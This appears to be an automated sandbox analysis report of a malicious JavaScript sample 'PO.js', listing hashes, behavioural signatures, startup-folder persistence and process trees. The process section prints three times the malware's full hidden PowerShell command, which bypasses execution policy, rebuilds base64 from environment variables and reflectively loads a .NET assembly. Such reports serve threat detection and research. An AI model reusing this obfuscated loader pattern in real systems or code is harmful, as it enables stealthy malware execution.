Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
09/09/2026, 18:06
Static task
static1
Behavioral task
behavioral1
Sample
PO.js
Resource
win10v2004-20260513-en
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
PO.js
Resource
win11ltsc2024-20260709-en
9 signatures
150 seconds
General
- Target PO.js
- Size 38.7MB
- Sample260909-wp4ckadc49
- SHA256 afc97f23f9958ee4d35eec1b3716768a9a5d046725b77530b53f8713ec31509e
- MD5 9eceadab31c21a3997284153eef5d01d
- SHA1 0bbbf2481f0eb2d98b8b472889d1d03741cba48f
- SHA512 05f4f58f2eeaf3bc93136ec152ad7d684de2b4a4488c9a18e28e3adf7708f522e4a7312325128a9990106abfd5afe6182e858fd245fa2dc3d4a2edd665d45f05
- SSDEEP 3072:ylREC7NdirchN3ufhtwNRmmktv7BzYtFJ1utOrcxsOrp98a+pDrMHJ/0T5jm6JEo:C
- TLSH T19697570459AD8137F165F8C24701BAB8149D5FE3083F4D4CD9BB069A85BFFA7887AD22
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5288 2860 powershell.exe 89 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1432 2860 powershell.exe 89 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1460 2860 powershell.exe 89 - Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 5 5288 powershell.exe 6 1432 powershell.exe 7 1460 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 1432 powershell.exe 1460 powershell.exe 5288 powershell.exe - Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PO.js wscript.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ wscript.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 5288 powershell.exe 5288 powershell.exe 1432 powershell.exe 1432 powershell.exe 1460 powershell.exe 1460 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 5288 powershell.exe Token: SeDebugPrivilege 1432 powershell.exe Token: SeDebugPrivilege 1460 powershell.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\PO.js1⤵
- Creates a file in the Startup directory
- Modifies registry class
PID:1680
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[praia.casa]::trailer('0eb+H3hI8ZQQ2WV2kvsqG28AKl0CukOpJmmxlTSzofxuPXrtT2JdK1zolnUuai+Z','','3kRdG/TgBqDGLTuP39OY8VUD7onh6oSHRiVnRt6RksD6CTTcVTJ/aTfhIC+OaYgZ','ZIOhqykIWJBVdykOm9d3WxPXwu0/WtNpatmZIKr9XXw=','VkQPO4jWKGOfMQiaMbnDsKAtWfZ/AtWIeE7eZjR9Pyg=','KvrpFgrFLp1Wy4IFvQMkZkFGWT9NWA3m/BIePFft2r4=','AFQXA5Vn6LDt99BJnuMQWnUJtJ2YeCJbbXmfruDABEo=','','r2R7E6gwA09gMY3mIwdhi9wRM+aQ3d4PVO4maPAGbrw8nq+qepLhr6Q97E4HvzMR','WIymjauM9a9GWfKrGY3GnNn/ixsl5E88j9MIjzy7ap+XS5+cwXW6V/qrhM/fGhyG','ccrfH568yri09Vqzbxu9OrV67gF07Ri9Vf5VI5jL2uI=','mP5zcYTszv6SoPcE1BEwUE4Zjzb4DrVvheH7hmmgRaY=','Jp2rK4XWNT0XXdI7TbTHvWWiEctKD6CTy1EKrFwq6FY=','','7WiEd5k9gExOSLwRzqUWOPY8LzyoQ6BVBsP0VV+IzdY=','fYDRZPCc/tg+chpWPtTlmGJzcxT2ykKd/gJu+R0Ys+8=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5288
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[praia.casa]::trailer('0eb+H3hI8ZQQ2WV2kvsqG28AKl0CukOpJmmxlTSzofxuPXrtT2JdK1zolnUuai+Z','','3kRdG/TgBqDGLTuP39OY8VUD7onh6oSHRiVnRt6RksD6CTTcVTJ/aTfhIC+OaYgZ','ZIOhqykIWJBVdykOm9d3WxPXwu0/WtNpatmZIKr9XXw=','VkQPO4jWKGOfMQiaMbnDsKAtWfZ/AtWIeE7eZjR9Pyg=','KvrpFgrFLp1Wy4IFvQMkZkFGWT9NWA3m/BIePFft2r4=','AFQXA5Vn6LDt99BJnuMQWnUJtJ2YeCJbbXmfruDABEo=','','r2R7E6gwA09gMY3mIwdhi9wRM+aQ3d4PVO4maPAGbrw8nq+qepLhr6Q97E4HvzMR','WIymjauM9a9GWfKrGY3GnNn/ixsl5E88j9MIjzy7ap+XS5+cwXW6V/qrhM/fGhyG','ccrfH568yri09Vqzbxu9OrV67gF07Ri9Vf5VI5jL2uI=','mP5zcYTszv6SoPcE1BEwUE4Zjzb4DrVvheH7hmmgRaY=','Jp2rK4XWNT0XXdI7TbTHvWWiEctKD6CTy1EKrFwq6FY=','','7WiEd5k9gExOSLwRzqUWOPY8LzyoQ6BVBsP0VV+IzdY=','fYDRZPCc/tg+chpWPtTlmGJzcxT2ykKd/gJu+R0Ys+8=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1432
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[praia.casa]::trailer('0eb+H3hI8ZQQ2WV2kvsqG28AKl0CukOpJmmxlTSzofxuPXrtT2JdK1zolnUuai+Z','','3kRdG/TgBqDGLTuP39OY8VUD7onh6oSHRiVnRt6RksD6CTTcVTJ/aTfhIC+OaYgZ','ZIOhqykIWJBVdykOm9d3WxPXwu0/WtNpatmZIKr9XXw=','VkQPO4jWKGOfMQiaMbnDsKAtWfZ/AtWIeE7eZjR9Pyg=','KvrpFgrFLp1Wy4IFvQMkZkFGWT9NWA3m/BIePFft2r4=','AFQXA5Vn6LDt99BJnuMQWnUJtJ2YeCJbbXmfruDABEo=','','r2R7E6gwA09gMY3mIwdhi9wRM+aQ3d4PVO4maPAGbrw8nq+qepLhr6Q97E4HvzMR','WIymjauM9a9GWfKrGY3GnNn/ixsl5E88j9MIjzy7ap+XS5+cwXW6V/qrhM/fGhyG','ccrfH568yri09Vqzbxu9OrV67gF07Ri9Vf5VI5jL2uI=','mP5zcYTszv6SoPcE1BEwUE4Zjzb4DrVvheH7hmmgRaY=','Jp2rK4XWNT0XXdI7TbTHvWWiEctKD6CTy1EKrFwq6FY=','','7WiEd5k9gExOSLwRzqUWOPY8LzyoQ6BVBsP0VV+IzdY=','fYDRZPCc/tg+chpWPtTlmGJzcxT2ykKd/gJu+R0Ys+8=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1460
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 64B
- SHA256 aa50207b514c57cc98aa23aec10f7d95033108a669754586b0f4aefcd1128362
- MD5 ff98ff1598ecf2bd33dd164f73c6361c
- SHA1 08bd3e5a80b3805453029d335cbae4838a5fc540
- SHA512 34f793b75fde83ea34e6f26973a8abcc2d8d4b76855edaa2f679a0f8f87b8be42b00e7abe7504f7e3bf75c1e699b86e7a8dd42cc90830c68e133c6252f0a7b4f
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 64B
- SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
- MD5 446dd1cf97eaba21cf14d03aebc79f27
- SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
- SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ynkow4vm.mc3.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH